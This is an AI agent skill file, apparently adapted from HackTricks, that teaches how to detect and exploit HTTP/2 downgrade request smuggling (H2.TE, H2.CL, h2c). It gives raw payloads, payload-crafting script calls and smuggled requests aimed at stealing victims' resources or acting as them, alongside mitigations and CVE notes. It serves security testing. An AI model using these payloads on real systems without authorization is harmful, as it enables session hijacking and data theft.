Hacktricks-skills http2-request-smuggling

How to identify and exploit HTTP/2 request smuggling vulnerabilities in downgrade scenarios. Use this skill whenever the user mentions HTTP/2, request smuggling, H2.TE, H2.CL, HTTP downgrade attacks, proxy misconfigurations, or wants to test for HTTP/2 to HTTP/1.x translation vulnerabilities. Also trigger for CVE-2023-25690, CVE-2023-25950, CVE-2022-41721, or any HTTP/2 security testing.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades/SKILL.MD
source content

HTTP/2 Request Smuggling Skill

This skill helps you identify and exploit request smuggling vulnerabilities that occur when HTTP/2 front-ends downgrade requests to HTTP/1.x back-ends.

When to Use This Skill

Use this skill when:

  • Testing web applications for HTTP/2 request smuggling vulnerabilities
  • Investigating proxy misconfigurations between HTTP/2 and HTTP/1.x
  • Analyzing CVE-2023-25690, CVE-2023-25950, or CVE-2022-41721
  • Needing to craft H2.TE or H2.CL attack payloads
  • Checking for HTTP/2 downgrade chains in target infrastructure
  • Testing h2c (clear-text HTTP/2) upgrade vulnerabilities

Core Concepts

Why Downgrades Create Vulnerabilities

HTTP/2 is immune to classic request smuggling because DATA frame lengths are explicit. However, when a front-end proxy terminates HTTP/2 and rewrites requests as HTTP/1.1 for legacy back-ends, the translation step creates desync opportunities:

  1. Front-end trusts HTTP/2 frame length
  2. Back-end trusts
    Content-Length
    or
    Transfer-Encoding: chunked
  3. Attacker forces disagreement between parsers

Two Attack Variants

VariantFront-end LengthBack-end LengthAttack Pattern
H2.TEHTTP/2 frame
Transfer-Encoding: chunked
Embed extra chunked body; back-end waits for attacker's "next" request
H2.CLHTTP/2 frame
Content-Length
Send smaller CL than real body; back-end reads into following request

Identification Workflow

Step 1: Verify HTTP/2 Support

Check if the target edge speaks HTTP/2:

# Using curl
curl -v --http2 https://target
# Look for "* Using HTTP2" in output

# Using openssl
openssl s_client -alpn h2 -connect target:443
# Check for ALPN protocol negotiation

Step 2: Confirm Downgrade Chain

Send a malformed CL/TE request over HTTP/2. If you receive an HTTP/1.1 error like

400 Bad chunk
, the edge is converting traffic for an HTTP/1 parser downstream.

Use the

check_downgrade.sh
script to automate this:

./scripts/check_downgrade.sh https://target

Step 3: Identify Variant

  • H2.TE: Back-end trusts
    Transfer-Encoding: chunked
  • H2.CL: Back-end trusts
    Content-Length

Exploitation Workflow

H2.TE Attack Pattern

:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 13      # ignored by edge
transfer-encoding: chunked

5;ext=1\r\nHELLO\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X

How it works:

  1. Front-end reads exactly 13 bytes (
    HELLO\r\n0\r\n\r\nGE
    ), thinks request is finished
  2. Back-end trusts TE header, keeps reading until second
    0\r\n\r\n
  3. Back-end consumes prefix of attacker's second request (
    GET /admin ...
    )
  4. Remainder is treated as new request queued behind victim's

H2.CL Attack Pattern

:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 5       # smaller than real body
transfer-encoding: chunked

10\r\n
HELLO WORLD\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X

How it works:

  1. Front-end reads HTTP/2 frame length
  2. Back-end reads only 5 bytes per CL header
  3. Back-end reads past boundary into following request
  4. Smuggled request executes in victim's context

Crafting Payloads

Use the

craft_payload.sh
script to generate attack payloads:

# H2.TE payload
./scripts/craft_payload.sh h2-te "GET /admin HTTP/1.1\r\nHost: target\r\n\r\n"

# H2.CL payload  
./scripts/craft_payload.sh h2-cl "POST /api/logout HTTP/1.1\r\nHost: target\r\n\r\n"

Common Smuggled Requests

Replace the smuggled request with:

  • POST /api/logout
    - Force session fixation
  • GET /users/1234
    - Steal victim-specific resources
  • GET /admin
    - Access restricted areas
  • POST /api/action
    - Execute actions as victim

h2c Smuggling (Clear-Text Upgrades)

A 2023 discovery showed that if a front-end passes

Upgrade: h2c
to a back-end supporting clear-text HTTP/2, attackers can tunnel raw HTTP/2 frames through edges that only validated HTTP/1.1.

Requirements:

  • Edge forwards both
    Connection: Upgrade
    and
    Upgrade: h2c
    unchanged
  • Origin upgrades to HTTP/2 and keeps connection-reuse semantics

Test with:

python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'

Mitigation: Strip or hard-code the

Upgrade
header at the edge except for WebSockets.

Tooling

Burp Request Smuggler

Since v1.26, automatically tests H2.TE/H2.CL and hidden ALPN support. Enable "HTTP/2 probing" in extension options.

Manual Testing

# Using curl with HTTP/2
curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target

# Using hyper (Rust HTTP client)
hyper --http2 -X POST -d @payload.raw https://target

Defensive Measures

  1. End-to-end HTTP/2 - Eliminate downgrade translation completely
  2. Single source of length truth - When downgrading, always generate valid
    Content-Length
    and strip user-supplied
    Content-Length
    /
    Transfer-Encoding
    headers
  3. Normalize before route - Apply header sanitization before routing/rewrite logic
  4. Connection isolation - Do not reuse back-end TCP connections across users; "one request per connection" defeats queue-based exploits
  5. Strip
    Upgrade
    unless WebSocket
    - Prevents h2c tunneling

Notable CVEs

  • CVE-2023-25690 - Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling (fixed in 2.4.56)
  • CVE-2023-25950 - HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests
  • CVE-2022-41721 - Go
    MaxBytesHandler
    caused left-over body bytes to be parsed as HTTP/2 frames, enabling cross-protocol smuggling

References